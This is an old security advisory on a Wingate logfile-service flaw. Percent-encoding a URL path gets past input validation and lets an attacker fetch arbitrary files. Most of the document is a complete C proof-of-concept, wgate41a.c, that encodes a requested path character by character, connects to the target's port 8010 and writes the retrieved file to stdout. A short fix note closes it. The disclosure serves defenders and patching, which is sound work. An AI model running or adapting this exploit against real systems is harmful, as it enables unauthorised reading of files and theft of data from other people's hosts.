COMMAND
Wingate
SYSTEMS AFFECTED
Wingate 4.1 Beta A, 4.0.1, 3.0, 2.1
PROBLEM
Blue Panda found following. The logfile service can be used to
retrieve files unrelated to logging. The logfile server allows
logs to be viewed remotely via HTTP. By encoding file/path
portion of the URL as a series of escape codes (ie, %41%42%43%44),
an attacker may circumvent input validation. All files accessable
to the logging service can be retrieved by taking advantage of
this flaw. Files containing newlines may be corrupted.
By default, this service is bound only to 'private' interfaces
(LAN adapters, the loopback interface, etc). However, users who
have legitimate access to logs do not necessarily have legitimate
access to all files available to the logfile server process.
eEye Security reported that the logging server could be used to
retrieve files remotely in version 3.0. Unfortunately, the
problem was not thoroughly fixed and this simple trick allows
characters to be inserted that are not subject to input validation
(escaped characters are inserted _after_ checks are performed).
This vulnerability affects the latest beta version of Wingate (4.1
A) as well as the most recent stable release (4.0.1). The attack
has been confirmed to work against Wingate 2.1 and 3.0. Other
versions have not been tested. If you can confirm that this
problem does/does not exist in a particular version of Wingate
not mentioned here, please e-mail us so that we can update this
document.
Proof of concept:
/*
wgate41a.c - Wingate 4.1 Beta A logfile service vulnerability.
Blue Panda - bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
Makes a request to the Wingate logfile service in such a way that it will
not be subject to filtering. This can allow an attacker to retrieve files
irrelevant to the logging system. The file received is dumped to stdout, and
all other output is written to stderr. Newline characters (0x0d and 0x0a)
will probably be screwed up by Wingate.
usage: wgate41a <host> <path/filename> [<port>]
*/
#include <stdio.h>
#include <winsock.h>
const char *USAGE = "usage: wgate41a <host> <path/filename> [<port>]\nport defaults to 8010.";
const char *ERROR_WINSOCK_INIT = "Error initialising winsock.";
const char *ERROR_SOCKET_CREATE = "Error creating socket.";
const char *ERROR_RECV = "Error receiving file/directory listing.";
const char *ERROR_MALLOC = "Error allocating memory.";
const char *WARNING_WINSOCK_CLEANUP = "Warning: winsock failed to clean up successfully.";
const int DEFAULT_PORT = 8010;
const int CONNECT_ERROR_NONE = 0;
const int CONNECT_ERROR_HOST = 1;
const int CONNECT_ERROR_CONNECT = 2;
const char *GET_REQUEST = "GET /";
const char *HTTP11 = " HTTP/1.1\x0d\x0a\x0d\x0a";
const char *END_OF_HEADERS = "\x0d\x0a\x0d";
#define BUF_LEN 2048
void Usage(void);
int Connect(int iSock, char *szHost, int iPort);
int InitWinsock(void);
int ShutdownWinsock(void);
void Bail(const char *szMessage);
int main(int argc, char *argv[])
{
int iPort;
int iResult;
int iSocket;
int iCounter;
char *szFile = NULL;
int iFileLen = 0;
char *szFileTemp = NULL;
char *szStartOfFile;
char sBuf[BUF_LEN];
if ((argc < 3) || (argc > 4)) Usage();
if (argc == 4)
iPort = atoi(argv[3]);
else iPort = DEFAULT_PORT;
// Attempt to initialise winsock.
iResult = InitWinsock();
if (iResult != 0)
Bail(ERROR_WINSOCK_INIT);
// Create socket.
iSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (iSocket == INVALID_SOCKET)
Bail(ERROR_SOCKET_CREATE);
// Connect to target.
fprintf(stderr, "Connecting to %s:%d...", argv[1], iPort);
iResult = Connect(iSocket, argv[1], iPort);
if (iResult == CONNECT_ERROR_HOST)
Bail("invalid host.");
if (iResult == CONNECT_ERROR_CONNECT)
Bail("failed.");
fprintf(stderr, "done.\n");
// Connected. Send request.
send(iSocket, GET_REQUEST, strlen(GET_REQUEST), 0); // Begin request. =20
iCounter = 0; // File/path.
do
{
sprintf((char *)(&sBuf), "%%%x", argv[2][iCounter]);
send(iSocket, sBuf, strlen(sBuf), 0);
iCounter++;
} while((unsigned int)(iCounter) < strlen(argv[2]));
send(iSocket, HTTP11, strlen(HTTP11), 0); // Terminate request.
fprintf(stderr, "Receiving...\n");
// Receive reply.
do
{
iResult = recv(iSocket, (char *)(&sBuf), BUF_LEN, 0);
if (iResult > 0)
{
if (szFile != NULL)
{
szFileTemp = (char *)(malloc(iFileLen));
if (szFileTemp == NULL)
Bail(ERROR_MALLOC);
memcpy(szFileTemp, szFile, iFileLen);
free(szFile);
}
szFile = (char *)(malloc(iFileLen + iResult + 1));
if (szFile == NULL)
Bail(ERROR_MALLOC);
if (szFileTemp != NULL)
{
memcpy(szFile, szFileTemp, iFileLen);
free(szFileTemp);
szFileTemp = NULL;
}
memcpy(szFile + iFileLen, (char *)(&sBuf), iResult);
iFileLen += iResult;
}
else
if ((iResult == SOCKET_ERROR) && (WSAGetLastError() != WSAETIMEDOUT)) iResult = 0;
} while(iResult != 0);
fprintf(stderr, "Finished. Dumping to stdout...\n");
szFile[iFileLen] = 0;
szStartOfFile = strstr(szFile, END_OF_HEADERS);
if (szStartOfFile != NULL)
szStartOfFile += 4;
else
{
szStartOfFile = szFile;
fprintf(stderr, "Warning: unable to find end of HTTP headers.\n");
}
if (iFileLen - (szStartOfFile - szFile) > 0)
fwrite(szStartOfFile, 1, iFileLen - (szStartOfFile - szFile), stdout);
else fprintf(stderr, "Warning: file blank.\n");
free(szFile);
// Attempt to shut-down winsock.
iResult = ShutdownWinsock();
if (iResult != 0)
fprintf(stderr, "%s\n", WARNING_WINSOCK_CLEANUP);
return 0;
}
void Usage(void)
{
fprintf(stderr, "%s\n", USAGE);
exit(0);
}
int Connect(int iSock, char *szHost, int iPort)
{
SOCKADDR_IN RemoteAddress;
struct hostent *HostInfo;
int iResult;
RemoteAddress.sin_family = AF_INET;
RemoteAddress.sin_port = htons(iPort);
RemoteAddress.sin_addr.s_addr = inet_addr(szHost);
if (RemoteAddress.sin_addr.s_addr == INADDR_NONE)
{
HostInfo = gethostbyname(szHost);
if (HostInfo == NULL) return 1;
memcpy(&RemoteAddress.sin_addr.s_addr, HostInfo->h_addr, sizeof(HostInfo->h_addr));
}
iResult = connect(iSock, (SOCKADDR *)&RemoteAddress, sizeof(RemoteAddress));
if (iResult) return 2;
return 0;
}
int InitWinsock(void)
{
WSADATA WSData;
WORD WSVersion;
int iResult;
WSVersion = MAKEWORD(1, 1);
iResult = WSAStartup(WSVersion, &WSData);
return iResult;
}
int ShutdownWinsock(void)
{
int iResult;
iResult = WSACleanup();
return iResult;
}
void Bail(const char *szMessage)
{
fprintf(stderr, "%s\n", szMessage);
exit(1);
}
SOLUTION
The immune version (4.1 Beta C) can be obtained from
http://wingate.deerfield.com/beta/